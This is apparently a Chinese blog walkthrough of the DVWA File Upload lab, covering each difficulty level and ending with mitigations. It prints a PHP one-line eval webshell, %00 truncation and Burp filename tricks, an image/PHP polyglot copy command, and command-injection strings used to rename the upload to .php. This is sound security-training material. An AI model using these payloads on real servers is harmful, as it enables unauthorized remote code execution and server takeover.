DVWA学习之File Upload(文件上传)

File Upload(文件上传)

0x01 何为文件上传漏洞?

File Upload:即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查, 使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
相信看到文件上传四个大字,大家都知道要干什么,那就是上传文件呗,话不多说,直接就是干起来,既然是文件上传,那咱就直接上传个一句,拿下服务器的webshell。

0x02 low级别

首先,编辑一句话jerry.php:<?php @eval($_POST['admin']);?>
在这里插入图片描述
然后,直接上传试试,发现可以直接上传,所谓只允许上传图片都是幌子:
在这里插入图片描述
接着,访问一下上传的jerry试试,发现没有报错:
在这里插入图片描述
然后,上菜刀,直接连接,拿下webshell:
在这里插入图片描述
在这里插入图片描述
接下来,就可以再提权,获取system权限,蹂躏拿到的服务器了。

0x03 medium级别

首先,直接上传咱的小jerry,不好了发现报错,这次看来真的限制了只能上传规定的格式了:
在这里插入图片描述
然后,咱直接发jerry格式强制改变为.jpg,上传看看,发现上传成功了:
在这里插入图片描述
接着,访问一下jerry,看能否触发咱的一句话,报错了:jpg格式无法直接显示:
在这里插入图片描述
然后,不管他报错了,反正只是浏览器无法显示图片格式的文件,直接上刀连接,把菜刀的格式改为php:
在这里插入图片描述结果,一首凉凉,送给你,报错了,果然上传的木马没有被执行:
在这里插入图片描述
怎么办呢,这时,回想起文件包含,它不是能把任意文件当做PHP文件执行么,这里可以利用一下;再回到文件包含漏洞去执行一下咱的木马,这里直接使用low级别文件包含(更多关于文件包含的学习:https://blog.csdn.net/weixin_40950781/article/details/99705039)
构造文件包含URL

URL:?page=D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\jerry.jpg

在这里插入图片描述
然后再用菜刀连接一下,注意三个位置的参数:
在这里插入图片描述
获取webshell
在这里插入图片描述
action two:使用burpsuite进行绕过
首先,设好代理,开启拦截
在这里插入图片描述
直接将filename改为“jerry.php”,让后放行:forword

在这里插入图片描述
发现上传成功,此时,上传到目标服务器的文件到底是什么格式呢???答案:是jerry.php
之后访问jerry.php,使得一句话被执行,再上刀连接即可。
在这里插入图片描述
action three:还是通过burpsuite抓包,这次使用%00截断

首先,依旧是设好代理,开启拦截:
在这里插入图片描述
.然后,右键发送至重放:
在这里插入图片描述
之后,对file那么修改,改为jerry.php%00jpg,并对%00进行url编码:
在这里插入图片描述
然后,放行:go,上传成功,那么通过%00截断上传的文件格式是什么呢?答案是:jerrp.php,因为在进行截断时,对%00进行了url编码。之后,访问jerry.php,再上刀连接即可。
在这里插入图片描述
如果在%00截断时,没有对%00进行编码,则上传的文件名为:jerry.php%00jpg,服务器会默认在%00截断,不在解析后面的部分直接解析为php文件,所以直接执行后上刀即可。
在这里插入图片描述

0x04 high级别

首先看几个函数
strrpos(string,find,start):函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
strtolower(string):把字符串转换为小写。
getimagesize(string filename):getimagesize()函数用于获取图像大小及相关信息,成功则返回一个数组,失败则返回FALSE并产生一条E_WARNING级的错误信息。

High级别的过滤:取文件名中最后一个”.”后的字符串,通过文件名来限制文件类型因此要求上传文件名形式必须是.jpg、.jpeg 、*.png三者之一。getimagesize()函数更是限制了上传文件的文件头必须为图像类型,该级别增添了对文件头的判断。

首先,制作木马,随便找张图片,图片的大小尽量小:打开画图随便画两笔保存为a.png,通过copy制作木马

 cmd命令: copy   a.png/b+jian.php/a  jerry.png (其中/b:表示二进制编码;/a:表示追加)

在这里插入图片描述
然后,通过%00截断上传,菜刀连接即可。

action two:这里再提供一种方法,直接将生成的jerry.png文件上传,然后回想到命令注入,可以通过命令注入,强行将jerry.png再copy到jerry.php,试一下看行不行的来。

首先,查看一下当前目录:

 cmd:   127.0.0.1&&dir

在这里插入图片描述
然后,cd到我们上传目录并cop文件,发现真的执行成功了,现在已经获取jerry.php,只需要访问执行再上刀连接即可:

 cmd  :127.0.0.1&&cd D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads&&copy jerry.png jerry.php

在这里插入图片描述

0x05 impossible级别

in_get(varname):函数返回相应选项的值
imagecreatefromjpeg ( filename ):函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality):从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img):函数销毁图像资源

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

0x06 文件上传漏洞技巧

1.直接上传;
2.通过%00截断上传;
3.文件上传+文件包含:通过文件上传规定格式,然后通过文件包含执行(默认当做php文件执行)
4.文件上传+命令注入:通过文件上传规定格式,然后通过命令注入改变文件的格式为php

0x07 文件上传漏洞的使用条件

1.能够成功上传木马文件;
2.上传的文件必须被执行才能被利用;
3.上传的路径必须可知

0x08 中国菜刀的原理

向上传文件发送包含密码参数(所谓密码就是连接木马设置的密码)的post请求,通过控制密码参数来执行不同的命令,而如果服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。所以当我们用菜刀连接图片格式的木马时,总是失败。

0x09 文件上传漏洞的防范

1.设置项目目录权限:可写目录不执行,执行目录不可写

2.使用白名单机制对文件类型(mine-type)和文件后缀进行限制

3.对上传文件大小进行限制

4.文件存储到服务器时文件名称随机化,禁止使用用户上传指定的文件名称

5.针对图片文件使用压缩或重设图片像素大小

6.上传文件存放在独立服务器使用

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值